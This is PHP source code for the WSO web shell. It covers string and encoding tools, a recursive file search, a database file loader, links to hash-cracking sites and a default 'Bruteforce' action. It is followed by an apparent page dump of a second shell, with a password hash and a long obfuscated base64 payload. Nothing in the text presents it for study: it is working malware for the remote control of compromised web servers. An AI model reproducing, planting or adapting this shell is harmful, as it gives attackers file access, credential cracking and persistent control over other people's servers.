                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
                }
            }
            if (@$_POST['p1'] == 'loadfile') {
                $file = $db->loadFile($_POST['p2']);
                echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
            }
        } else {
            echo htmlspecialchars($db->error());
        }
        echo "</div>";
        wsoFooter();
    }
    function actionStringTools()
    {
        if (!function_exists('hex2bin')) {
            function hex2bin($p)
            {
                return decbin(hexdec($p));
            }
        }
        if (!function_exists('binhex')) {
            function binhex($p)
            {
                return dechex(bindec($p));
            }
        }
        if (!function_exists('hex2ascii')) {
            function hex2ascii($p)
            {
                $r = '';
                for ($i = 0; $i < strLen($p); $i += 2) {
                    $r .= chr(hexdec($p[$i] . $p[$i + 1]));
                }
                return $r;
            }
        }
        if (!function_exists('ascii2hex')) {
            function ascii2hex($p)
            {
                $r = '';
                for ($i = 0; $i < strlen($p); ++$i) {
                    $r .= sprintf('%02X', ord($p[$i]));
                }
                return strtoupper($r);
            }
        }
        if (!function_exists('full_urlencode')) {
            function full_urlencode($p)
            {
                $r = '';
                for ($i = 0; $i < strlen($p); ++$i) {
                    $r .= '%' . dechex(ord($p[$i]));
                }
                return strtoupper($r);
            }
        }
        $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'binhex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen');
        if (isset($_POST['ajax'])) {
            WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
            ob_start();
            if (in_array($_POST['p1'], $stringTools)) {
                echo $_POST['p1']($_POST['p2']);
            }
            $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\x00") . "';\n";
            echo strlen($temp), "\n", $temp;
            exit;
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
            WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
        }
        wsoHeader();
        echo "<h1>String conversions</h1><div class=content>";
        echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
        foreach ($stringTools as $k => $v) {
            echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
        }
        echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
        if (!empty($_POST['p1'])) {
            if (in_array($_POST['p1'], $stringTools)) {
                echo htmlspecialchars($_POST['p1']($_POST['p2']));
            }
        }
        echo "</pre></div><br><h1>Search files:</h1><div class=content>\r\n\t\t<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>\r\n\t\t\t<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>\r\n\t\t\t<tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>\r\n\t\t\t<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>\r\n\t\t\t<tr><td></td><td><input type='submit' value='>>'></td></tr>\r\n\t\t\t</table></form>";
        function wsoRecursiveGlob($path)
        {
            if (substr($path, -1) != '/') {
                $path .= '/';
            }
            $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
            if (is_array($paths) && @count($paths)) {
                foreach ($paths as $item) {
                    if (@is_dir($item)) {
                        if ($path != $item) {
                            wsoRecursiveGlob($item);
                        }
                    } else {
                        if (empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2']) !== false) {
                            echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br>";
                        }
                    }
                }
            }
        }
        if (@$_POST['p3']) {
            wsoRecursiveGlob($_POST['c']);
        }
        echo "</div><br><h1>Search for hash:</h1><div class=content>\r\n\t\t<form method='post' target='_blank' name='hf'>\r\n\t\t\t<input type='text' name='hash' style='width:200px;'><br>\r\n            <input type='hidden' name='act' value='find'/>\r\n\t\t\t<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>\r\n\t\t\t<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>\r\n            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>\r\n\t\t</form></div>";
        wsoFooter();
    }
    if (empty($_POST['a'])) {
        if (isset($default_action) && function_exists('action' . $default_action)) {
            $_POST['a'] = $default_action;
        } else {
            $_POST['a'] = 'Bruteforce';
        }
    }
    if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
        call_user_func('action' . $_POST['a']);
    }
    exit;
};

Execution traces


Generated HTML code

<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">&lt;?PHP
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#ddff55";
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$default_action='Bruteforce';
$o = "5b1rd9u4zij8uXut/R8UjaeyJ45jO2l3J47dS5q06SXp5NJr+nhkWbbVyJJHkpNmOvnvLwBeROriOG33ed6zTmdNa5EgCIIkSAIgWBm6I3vuJ/1z98roGtPhvWqlf7x79Hb36JP1/OTkTf8UvvqPn+0enFifa51//8sbGdUVL47dBCB3Dg9f7u9+Kij2/PAYCzRMQGx+rtWMb//+1513x4dQzgnDc8+t3lSoblQU4rDqa6y96k5nyRWUfAPAnyxnYkeAE0rVoIJcKrRJYuGJ2TawEoFrCSqhDj3PpizlC7B6ThhcVM15Mlp7gKRmK64bQ9eJrmYalvptONYpIsXRSHG+kxTnZ5Aya2m04Od3EYMFfwI1bZ2a9vdS0/4p1Gzo1Gx8LzUbt6cGZsloHjiJFwYpvjiJ6pXZ5bD2Df/uDuzYvb/ZdwMnHLpVyuggjMiAcpQBSZABYDB5oq5pst8IiL+9brNzOfF8APS2IdF3A1ak9m0URtXKF8ivfJE5rJYvq6tAhEAJ/1fDaEjFPlW8z7X/oS8A/VT5gu0RFTa6ogzUu7raAZZXvF5Xq3UQufZ55/o6cpN5FBiZtnBEtQ4w6N//euQFXh+7zHKjKIz6fji26genr14hC9NMSO4TQGzVm3rW1P7ad7+6zhw53U+8qStAIJu++7439ZJqmji1x57T/2seJm7cj+YBAvFsEFJe4FYtEJF96N7j/cMDq25Y7cY9C/NJ8i0vdo2GYdlf7K9MLBrw51aFYKxWB2Ho16TsnMduH/OIFCJmnG3PeOZUuQSV4w8FfhJ5s9i344kbVyt2FNlXDOgO7yYv7lOqzHxo0A/APiN+qBiAJwJsyyhCjdPxWq4E0JAcCZSBcCpbCgFZFp9TvNkAkoR+eOlG1Xg+gK/qm+dv+ofH9WZ9A1rf7RrmpReYtBiFMaC14NMCFK4fu2li4H21iJeV2B65/SmMUEimwTXGwSVTLbbmVldSQN6jbNxG7iyMEi8Ys3EECIdebA98ty86IdYQ53KpgsokhOHqXA4RFuDgV5VXXLD+QDMeOZOhF2nJiKYQAzWZM4J1vVodsBAb4duOWzXPzkAumusoHAUI9WhlMSwHY/sD/Pok5ALmrLU+GytQ/7pVE6ga9CkHM+wGBD9gSntxElfNWRh7X5Fns8u5NzRrxt27BvY+pFcrz14dPnn86vhTATtBilt6WavW7XZHNvQ/mx7YeXKG6KAg+QCETwwq0rk2rm8kcRyNv5tEKrsciQRaRqKy6lzG4e5XEM8B7+1wnuCYt9hSaVSzDbFQjFpcdtx5hF9Yuo4FqfsFikdfQi+Ang/MNO/awJlViHZmx3EyieYSdTiAFcCOkirD+kgAEK1qRQCI8s3xXTuo3lRNfBUn7rS0Epb9g1VMXN/va2ziaNIcWUOKB0Rr5MbhPIL5UhkhA2fhDKcFMNeMzFoGF6zp+MWW9JVHIzeE2TSi+c5hYN6MYJGFQTCqt5rtTdaimeOHMdYgpS8fHlhGSE91dLz13Mtj72/cYMgtdyU2el2j1fzPxn82Ww8AtbJExLPIC5JR1fq11WiPcA2IjXUF1qjB0mU8e0IjjDVe4tt8cO8/95dBRoAGrYLG60JUyxGF5BCSlykSpRhAYSbl5Rjzxo2mMZthfK7Ah3HXaH7daTabtLzwnxUPp1SskJnCPk5hH6ewfiHsgxT2QQq7Vgh7P4W9n8IOCmE3U9jNFHZYCNtOYdsprFMI20phWynsTMIaLGFOCfAbRqws22xh2YeGFVmwe4BG1oqAmg8Y0OVCoE0CShMecNQxlfpqGbhByWcfC6TFWNvL0Ndahr7mA52+zcX0bS5HX3NzCfqa7WXoa+n0tTkBSTF9IvtEo09MKa90Lu3AXi1CySQn1Mojkor2EBdFKd44Jmt7FAaJ4WCp7i97e0Bns2fBhJVz89EIhOOMTVMoi3N5ex0L9bThSrVcRl5yYy0gbRP31nWU0ty+NxrdjuYc444dO6DNHfwldwMgBnP7j5gBmumeAf8I8ahi4btttjKpwJXhxMDFEFalLDD+oaUI1kPcZsAeDkZQBdsS2FPcLmMvslKTmjjnSMQIF38iBZAo0skRyaAEdQW8eDfxnIkUyJWZnUwAI9vgWJeYaSCrAYDrAVa4egohtU6nFGXQsq1Ttkqb/jnaqcp1ceWRpnDhC7YNVLBTEy3O5hzbZxrdnjGbzPr0Va3VWR6mXLhRDIgFBP+UINAgDUQ5hXIIPH3g4YOyC88pCMf2A64zCY3YjTzbp0XeVrYljH73wvZ1RRLfOejc0PSFlXNYYi/kUJMH2so5dfIF78VcgRIevwrHsDupSnzLKCZh3wzrPJ3aa8aasQGrIBE+hFLW4MpdscpqO3b90REw8MJlNfI9j6Y7g2XrCk64xEjIfDQPfC84r84idyxPPdbKWfVsuHpWO4sbv61YjKB+f2//1W6/X+NbNSLnGDeGxsSOjYHrBjDgsfKhxXuIixDWVRariZ0oV6yOnPEafSspfXJ6xuFzmINwFia0DNn2pNU7nnuON3S31+H39tC7MBw4VMddB2SOC2LnyLV9/8q4tEFuJSGnzUgmLtvOPtweRL1t25hE7qj7ixEGju85511zXA3mvl+nv86QljOrZvY+uPH2ut3bXod6mIAEsvbCMOFkXavzWZArZtciZXKxNjk9V+lqZeszVj32w4Htw4kUpbHkibk9SaZ+b3sCtfe2p24CbUuS2Zr719y76Fo7jC1rJ1cz1zI4k7pW4n5N1rFgx+B1dE2UNTmqGoZp9bYTL/HdHoMoGLwIBWMWppSBMMoMNxrm9jor/e9/bcfJFf0YhMOrbwPbOR9H4TwYrlGLtn7Z3Nzs8J9uC/9DdRrC1pNhPZl8M3Bd2TJ+nyXGqzmMAbv+1o2GdmB3pjYcH4OtZgcETeI5tr8G4mEcbCXhLIMRJTEtnA0vGIXfDJ47Go06eYLa7TYViGd2UJ+06raA551grHhTVJHAWJNwjMq1S9cbT4DYQejDoKDcSesbfEbwuea7o2Tr3uyrEYe+NxRdOsMlJxhvGW3IgdwOa29rExosWlpMpGg/lMGaYLQ2eFd/MyRWxMgAZf0F6DY2NggHtBUHyRqqOCMbx/hWEAYuy9uawKSK8hCAx41gvjOwxtSXTd5qydZSPwuqUqKg9xDpyA8vtwx7noQMx8Ab27AYfzMuvWEy2YJt9q+dCWPuRlM02Atm86SO1CBsPXZ914GmS8QLe/nevXudHJG8S5Qh9zoMQuhgx63DpJpHnhsZB+6lRfWPwmiaVseJ+iUJQz8+GficT2xIOtApfEA0CGA/mInGGdQixjrbC0BqfVNKYqcVke/if520UMR7pwwUIaFjCucf5bUL8mBYQB6sF99oeI/sqedfbXFG1CVvkIztdTHPt2Mn8mZJj0n1CzsynD6eoFBIoPCJZ64DCzlJG0Wr5FwOmcrYFOsFFrXLiz5SrWkgciylQibJliibCmjEoFQ8a8nSVaEC0zZOddQa1VaEluuhZW3lW6fC7x6c9P84PTzZPa7lKmsvqqx9y8raN1S2saiyjVtWtrG4MlSyDkNnPoUJgKuXqst3A2ZLQlMSWZJg+URbUhfX43/+gZ8N2GaPk8l2t1kTCkLM61wrliVuciJDTN4SRSYiJETYhyxLfiIS/pkansjuxOtlVifMR8PTl+2Uog4ZnQROLIFs2YEaHydVr/Y/CKmkfKl1eIWr3eMkAhHYGEXhdIdDVDmiWocbopgdSlBRbIXiDVSNUClr58nogYAA+cTqrH3DpsT0u5smr1oWYxEUQsEDPKmTvrEOR6g6A/eh/ZTWhTT6zVLZv4IpglsBQATbHKYTIKtoVrYEvMKaQHYPdTu23mltt9oPkL1DYMc1bfIpuddq/+fuXchuNzcp3ynkJkL27tf+af3erq2WANy9vwEAUAvDvxhXq137p93eLEHGq5MYl6gS94mBs8JGOo17aGuPGFz7xrthVTArhr0qjm/eI1BcQgASpVuCVdg7XS+PjHcQIOQjiwPrQ0kfbkM7sVlvDu5vohh5/GTn6e7es+f7L16+en1w+OaPo+OT07fv3n/4aA8c2NGOJ96Xc38ahLO/ojiZX1x+vfq72WpvbN67/58Hv6+ud9kEDFv1sF0PN3DDNWnXJ/Bjsz7wkrgOU7NuO/AXdhEMzWQ6Q/Ne99PnDulFGEW8BfjRuca/u+oUwAQa5sPwW9jq4qc2YWGEdsJ2SfpGcToS1w1b29ut+/+E7e3tB/+EG51Jq4vpMGQe3G1+3Rh1Jm2R0OYJGzzhPv/epG/2wdv2yXZWVz93gcNUK9Q4adVW1c+2/rmhf25ClwppRrRzQYJCqMvraJDlA3kSX3qJMzGqCuSvG7VvDvS70drCIvA/HzjN+hpUbXWh15hUIqh2HqqFUAJIjC8crtrYQkOgXXfqs1Z91q7PNup8OeZKCRjK9gqbI8PGdNSwG3DKn7tdu0MyQU/rd3gRRy3i8GxHKSLTZJFZSy0za3GAWUsppaSm5dpaubaAaKvl0tS03IZWbkNAbKjl0lRWTm0uzDyxeqrJdctsLO/cASt1LcXsFGN2fhyz4FwWtUj/IdztEtztn4B7owT3xg/hxiHKhrk2UFmSGJrcs0wZtEX5fWEekzNqvGg+lU63tM3xfIAeJrUcYvv7EdOm047sKTkqoNNHN4nmLmlW7uCeAXdfIKmwfjjD4VYxFlsKFLWkV+IIVgHDXWtVg/3kfW6gfhIlziqT+KdH+zshnNIDyK/mgImHjLY4qtJOGA6mqZuG6MWj3T9Od49P+oCNHxDqvCF5/gCieeTLfCHAjOqlFwzDy8b716+eJ8nsyP1r7sYJa1Pk/gUcCdxLQ8+tpjo1Q0HxGGq6cN8fDr7AOTeLQcusWq89JwrjcJRQxTAaLVULjkihqKZlZ0rsvxphgFrwK9giJC50YzDG8T+LQseNY6Bvh5I6BeXQDmzhqQC4RKzATq4VQMLA4A1lyjOjqius6jBIZjNYSUi9sP517fLycg0P22tz9MHA/h1axYiDYTXtIJF1ne2rbGuq6XpDfGkQB46RA6hE3awZjNuQT9VAxpw8UMiIREXZKI/cMe+OI3e8+3VWPTOrZ/BnuFqrfsIfx/hX/Pm3GrqaWFMuEVhh3NQAggaZ3hkVMYzg2D2BPZkAJD03bhHanxvcXahZx6KfWtx18I7Qi9u+G8FI4KwWulgxcuG8Lo7pXIuIOjemW6WTfJc8OkjBYw/i0J8nbkfRxhQr8pJwttXskKKp2bEQN/abMXWTSTjsAsLEwJnanY5EJUMvnvn2FVMzUQlS6xgJjITuxBsO3YAVsRfkOQvyZq1Fme1FmRuLqmQSDiHWsY09cnWojCLXPUadCPpGQNvOMYGUJDlVB8EnYWL7WoE+JfWXLaN8PVR+b7UINAKxhzs0dNSQZhwr4ibUczcKXD+TGfNM9+uMdPggcFG1vLW+jimhl6wNBw0nnK7Hrh05k/WHzB7RZZ93R56fuFF/6LLhhTncTUfoGqxXXjD/iu4NrP4a2eGYroGU5KLmRteQE56XMl4yktFExoe/aGO9Wb/PZoCwRRQjEq1Gn4liNBvSBzfnIZV6Obnk5CSsZ/MYxBjzU+s78ygCWYYejtyMAfmecGObXqFXFk8eK8ljJRnm1QzdZx6aWTuXwJTx8krJIuw6+oy7ldYECctbgPg/WTgSmPlBVMjS0ffss04jVqIXYLWy9LEoQCYscpXrY5fE0n1LWEBpcEH3MP+7omEfdB0QNwm3hGIS+QTj5sGoeNuVYK2FP2DDwFmVVgYDwBTmH+sXSxqArDFI6D202L62AxDJZ9xhSTobG5Uv292Kh/+KjYiOlohBz+IGc//LVXtm1qwe7BMZHGw+zHU0LpkqU5goiaUF1jo92Vt7gOvgO1r547VW+14Lv18e7j9YO5K/TvGXM3tw/z6ftOFMmo9SFkNrXBuNzjLHjoFRiTtl800rhI6M2yFNXIPtNU2rQcAN2ChZjbxpq9ul7IcWU8DD2rwFx8qG1ZPlttcZwh5zkLxTmaZNfRLBwgIUOq7V7alfqHAPYN2hdPGzbonewlT5u24duMllGJ1jqvhZt95MZpiA/9StY9fZD0YhJoifkPiXTwnwD3yQPuQE1fOUqHzWOhlrvByg9jyZ9NHtT9r4pp8sZgom8574Td0DWWi35fZJlp8acjmMG8zzXTelPjtHW3nlgteDgNRdMIFoZcauqnpBUqvCEr3OZ8u0Bn3xq9n7ZIgZYP5iqibQMws66qJhnVnCEAq/5F81E/vxHDvR7hmft9eTiezGYQRbzlj6+aF9V/IljLkFOnXSla2JaNNlOcDzvyEPW0aohKHai/vMCwMTG9bWGZDBJx+vkppd1hw5obEFQLxAs06t+WSkSdgeaJUldvPc3kymQm5hRoOh4bi+z21X3Q36wuUZv5qc87gn6m0nEfw/FEm9bTQN9k5ROG6hBfoUZCz9gBFJ/z4fDunfncvhFq5FZfx7aCHUU2r7Fk0v5nJD+KFLhj1LbncxAxK2gxCKKAvcI9WPw4BNYwt9w3AVlIwkxxO5aKKJILEjWCi6/YFvB+e9T/oO4DOzklNF27wyWi4QaZW5sdCygt81g3HjGa4bW5x0BjPWi7CVhcoIrI9UDxNGM5U/tkeugc4iGkKFi6k3yeeHmltT5A57hwfCaWlLyxvDlg3YOugd7u1trw96Aqqm8tgodCc4Q2GTmUg4gvjIg2bQeGLDjrXhKZwy0AFEa8IQEqvWh7Xp2tB4vuVtxbzHOT80j9d006eyZg8aoaHUyshtKitStYBrKDgMJWtdwfwbOToC6K+yT9R1DrdSjayLXN6yV8o0fcYicllYeO2Tv4EmmYR4+mQgDOOpJE7ICZwlBdNDTFGDjKzdCC3LfMpss2UMCaTDoe4lkvkrmXgxVyeYPVw22eD17YHrd803Nhye+TppMrr0tdZgSyMVgmHGaqZG8PHtRjDsjf03oiflhJBKCpP923/89OmR+VkMElZ8x/dgI1pQ3HxOJxmTUcCajWyCv+gXyr8sz0gmskObyR0a8LTXTi386ERg3kZWEkfYMkb9lNatHENNbmC/ZzLnQtX5RjjlMF86xUES78ap7pKZsfjQNNQJb9GMt3rVd1DAxRI1PufNLR0SxUb1IEwMgVoCcn0D887BQyE6D8G/ubXEG3aFi8CSvDLEWbmc7TxnECZJOM1m4qn6DvIbl1BaG+hQDlsqUvZ1YdfbqBq5ow4718k9Vu2hIWYCjXqpGIbNkQlLklFrmJon4pkphiHTIsGSro5DfrBmnLGEU4TFTtpohuLnbL4LXdZ9AB2XlCM7a6LA0etZPX5cp/G+iCGL+ME3hcQRS0lRhMJIaBkX8+bItYcG+ox+B2tGt2spm2A/ZxgoW29qsjU9h+61WNOHyzX9tX2uDQp1/t6CC8Of1N8LW758hyMrsD9vnBXUfLXnv7P9/ydHgTiGcUbIU1lOKtzU+F265vo9g17Kg++f51wbibqcxDKwuQWKnuywxyarXMq0yxDt3T3YOfnwZrdrTed+4s3sKCE61tC6ajFCyhScgnpZ6UJwTTBm5CCJwUWFZy1Reg47enuIVS4uEbgp4xeSxTY3KnHZG5/S5ephLokfbQT17PxEFH7/VMGCt5sqg8gwMhNG7EtoWYdDAenKyZeWlv5rQ9ENLAh3kTqb48Ho8RgtUlIXYj4Lw7Hv4iXUY38ezfDH6+ODJ2GCvzy7jwpW2NZG+PnBDobuV/x1ZE+BtMgUJg+0L6OH99RO4KxtreMuy5sy7Zr1D+pd07ppV77uYeIyVOOfCXN4JrD1VqNpbDY3DdwS7aExQLPLwFxKlKsQhrp1exXCpo7v3NC93NwGovl2nHlL9vK2g94b6OBL2OtsGWpPzngqH9vwtaxsgDp7pnSxV/pQqnVq6oWVTEwGpvWhS7LM/Kunw+ldxZPyZcmoJXW1OKlchO1u+Xv7QMY//xhLQaI/fjG9aXd1tG5kMjLV2fHuzDjxo1Utw7goTELkENcLpW7+R24MYjMuc/NnAgGNhOnRtlHum8iraUh1AR2nlikaEySVpTOTMNwbGdykoRklM0s05Y46xokze8SZijerV9BrvF7xkZXwgUwWxsPKCHXpjwBTH9oaoAkXSxhU5CH9vdVuCSMg3d4fzWpG5uYPYYpII0eoqCY40SMiVqtREYMJYVl9/KrtTKSK60UR3WNCeyL+Le4AF7NgehX/5f8wEzjphEzlQ8PaQsWzwouNjeb9WlmreHnWLsD5Iw2bjX9Gw+IEbSvmBGRYF51GoEmmZWAB+sQfmIBymRIICYFwycbA4AMThwMm5wAbHFxjM9Pzs3HKO/IM5WzB9GV5QgrmeO6gmRxwNpllw04SFI9KCpsnqvlmS4lDI2eRmD4iA8UyY3BLMKmCqGngot+atQ7ycZ1aL24YcTkiQnsguLDLp2pyQoL6ZLyOIPl/hz5zVBIM58Od1VXZPJGEFer9/Ig3+FPzc13+bn3muDBV/pLCjQ0AxsrVVYFbyLxBr0gKCRyodR/0tm4AkQJKdB+jXfp0Ry7qTl15148oSojbpikJ4sY0EedC4GdGtR7awtbWKl5NgDMMaAHjkGjcksgKuPmd7Eyom1PCi3j5w8zESiS2a52VupDIj+B28QgWgEPPScQM+BlDOIm8afU7hm4pqzmdJHIswfsfGr06xpsGcckITuUQv/BGa/Zj3k65hqcyiS/xjNQ0n9PON+5QkbC8KruOdAdTuvHg2//sjlSYfJSdScYqc+dOg9ljuFqZiW5cYXq6mRXW4t7eyRtpK9VzaU3rvb46/ssvgaCVqveGLQoamNQrpypeTrWg74YjplnUdxnNW8Myb0JnL0Kn3OVZApV+ylyEMD1tLoEWZphAmcKqW0dcqcs6WMGZqiv4AsmRttr/aTThv5apdIbEoY4kGpKErKw6sjFotUb20AtZtfgtKzUNZ+I65+6wZyjL6vY6x1BKCGXIqoQ6nuur2W3C1r3ZV1MjgqoahF8ZHXzp4aS0UkJERpWkhLHWMwJvHPq121K1DAPaZs946tG+zY6ublGDZvMoarfWZXREutXgYG3nVEYhnPNvGhZqM25RES5Ct5rLbIg0oJxKkmIZovpy8iRlXdnx2+z1dIxCSccQd1K5LAV20Q1sIxsFDO0/tu/ZsZvqU5BK85UXJ9D7EQjAMLqiYAMmhpios+PtHXPPC4aGh8qUxmwyg18Gd+BC3bSEN9ZjY/3SWB+koBkUv8FaMfLGvy2HRYVOER1Pwks6VV+4Bt/DY3wtVj5wE/Q8NdbsIFMimgcBDE2MkHDhwWon4Q266JNCowMC4CfPEAUKzx0ZlE44hQ6EKZpCXXjupUnBG8zHR2+ME+wxlmtHM6CK5+2/MXaobXN2PZiBeDPWYGPd9n0TALEbRQS7fMcBHbzrJPv82FjzJ6IWH/NIswcbgMgbAK2xgSoJg/kJxi7UN4QNPyzfQ5dpDw0WOEugw4LG2oXNWo4RKbDh6MYM8Cjo83w3/jFgcYXGegYS4MqOwD8mdys2mH8wKzyLDXv+lRON44QlyzpHOHSAJUaMjhMUPIRBUMa6sUaCbGSsYbQVYw3D6jSBD7GOIC1cOPIIprEkLiJmvBQx7WJixt9DTDEuNmgaXuDQtFpAEkVw0cGLUP12I44zk0OemQsQLNW0xfiQ0dJePaKIATBYgkLGMya1i3urHMlCKhfi5KKkMbtcOBCohQpsZiRkkSzPtVKcSBysYGyBupE0CakjySBYnqwSfETUwI4n/QmIBVhnbiZMhc4Ql0d0CwLL8RKRI9gATqa250fOzTQqwBkSc2huQWEGKwr60LETNyMZfUqksCZDjGsxUunNZYplgaVfoKYtLiul5OrFQICPFtSmZmcKxlcDkDll5dJcvdj0qqwIz9HB7eHUC3Q5mMvSSzijcVZu6jkZcKiyDJ5n5QuAvB3aSUkRlllYqLwer4Q0JtnLC0FmWSFCWFykvFUsHM9iQhWgIiRitSgoqoOrAyHtVouSrQxoRiZLWEjPgsZ/+YWgqNTOgBbJVAkvMrOFymSeLKgCZAszPf2i0hpEtniJKJOFlfxMUby7NC/qVJahAw/n0yJQTM5KD++iUGp4F2LDm4vixT0oqqqRcUUPIcWCtN29a2TT21nL7LKPIVhxAtuEqJ+EffRMz1/U06J0oau10e7dbYmwHlIXWkTo7a2ceXJ43OmCZxN4AHKmmlwaPxVLW5kLqMsUjCDXRw1nyp2XMDDIWcC041Kxy8LtF0TZlxc27OHQEfdIzbOgYuAN4ZQ9DYys0uDRjFW2YciVs+gsOTuzzppmTRpMFEO+udL4zRmexavVT//T+bxaq6yYdf3FA4Kr1e58E7pmEVObMuiCoLRIZfxF9BDbUsNrOn2yPOnQGOHFzFqLFCZCL8LZkfFxlcojA9NSedDYiULfPwmRy/n05xT4qaN3Rj7aMY8SyO0XpFyvGxTa2aAvBsNcEpBmPt30QcyH2N27JYP79sOOBfTTbeKpp2gaLAlI4fd8dy9cdMXmX449S+aRS4lxlf5pvNz98PTw3QGiosAq02EsrgGzWzWWzJpH3FonJc/5rMrtChSrBUPz6xU/NNwGi0S5Bb/O3SsMe8Et+QGqXDYe8IEE2NfWxFiFj163yQMG8pA/2pyCmpDSTwDILEUyaCCkMOMCv+omKtpsphVx6wOryNgmVCKwxXfWyWi/1l+4gClchSKsYqpkFs7YCGNf83hCAHoKY/kdxm+FtrUW8y6R921NRcc1afX4ClBqeCCLA9N5j1L/MxPYkBFY3TMLJ0N0ZtW+5aZhF33lO5kSlKbHXcfGMz++qfTihKooCcdzgytwa9/sasYLXpZgn6hM4Q9diEIPW1vkss9D7ox/BIPu+mDq5hXSJ/X0C1TphS2mbAKhh0a2gN+okhfAKxekVBRXlkRPZV3714rUqAHM+jVUb0qffm7Vwt70gjnz0UjFZf6iXR7nBbNbNCpB5h4d4VHUpcLIo2heB/MkAezyqgX2Lo0B4oHSvyyxtH+zZVjC7Xr4O3CYqs7Y4LczSk0NSL60M1gNNH/fHJqDy/uHFq9cXF00MJSAMY9Rq/r4xeP3Rnm9ShPU6ot2a//8sxRN+n6ogLjIHZJC22CQGPEUfmE4/Spu1Grpnaz13raIj8gFC4+syGhnIiJzq4NfImimERpNCowcBv5VT9zlLlweFW+u3EA2l94LydgaYmSLFvSKLqGoISaHo3sLIz3SzQkM1KjfUmkW3rww8eqFmbnTZ7YgqVJo5lBclKfDDI1YpxI7AR2JYVmFJTfomrgc07rbKTS1qBYRbishwwhfTaRIH8HqF8MyJdeZQrNJ5vghPI3V84fB+1ZxGrRG+s5ey8C94zxQgjNrpfhm58ZBw4JQZQ49TAJTiCnVT3mL7VAplDXem+2zPHfY554XGLz4mOr/ZGG4K3Y7HX0d1ByWWhMeLWw/tmMHVmLMU5fjFeEhw0JZKRSxKw8aMefqEzbsgFaA3QFMcDDE7RqqysrwD0GgJ7K1ygtcmPwUK6KL8KmHCL9JL54Rom+MxNXt4ks1sK2jlC36W15Xx4KZkOnyfj3+4QHTYTTgXe5MjHRDjd2gOIxwUFYTfSleQIgMg8rRVVR2DZ1eOWo0TOasWphpSk+Z7HrKnJFQxdilHsOfvKhWK4fpMvtfikxhqF5IbhXxjwiercMIXyFyrBNcEZmPommOn9dyuEg/IOmnNVLGi9y3pHm0XxnlYvaof3D/MqL9S6OhhtUu+pPnIb7nMo988bzZSGWfvJM9qhVybnQT20ZZnuXG+8yOE3Vyp4LEdhLujumEsysrHWlyUmB6nxBUK069EtcrsIUpoN5pVOJamnOHz9ghJqfuZBWcRo/kfHD0XD4j+Ps3cjrAyTsTyCQdegi7wkcxGmfkNyQooHe0ZkCtOEvrlRE+XMm/FDc1oYaBtjG5xxqXsh6xsVSOIDds01GmCnQ2zgQelSYJRu89jooDddzR3OXyfUihDgr6kET5/6N9+Oi/3InQRCZR1R5sFPRgI52oCzvxb2+m9CEeynF3KW9PffRmj9llFau2UGJVABFXXaRlpI6kWMYB66HUWo+9PKVGPTZai2sjucffmVMYsag6/LOIwzdVx0heXixLMlPxvAT6dPxkOjj7iknZH8ZRmAZ7RVjqBhsWN2FRRnOOyUTMMtwicmCVjewkjGQ4NWcexTA09nm6+Leq5Uo/H5ldGdH8M2inS+4fImtr6/jl/pv+08OT49oybcM/fCCwzRCjj8KyuFfdXoUdp5dtIbVSYzqg9nGrgBGqrmoUHutqWcKubwa7AeSGbD5r8uJ+USHWPnbpYBFsSd3XS8ihefC/J4l+RCxgc1Qh9j0ThSGAY2cE/DgJb9s7KYqbewj/LBghP9CBcLK3Slt7C1mdPZMqL766sWPPXHoIxo7GdNex4I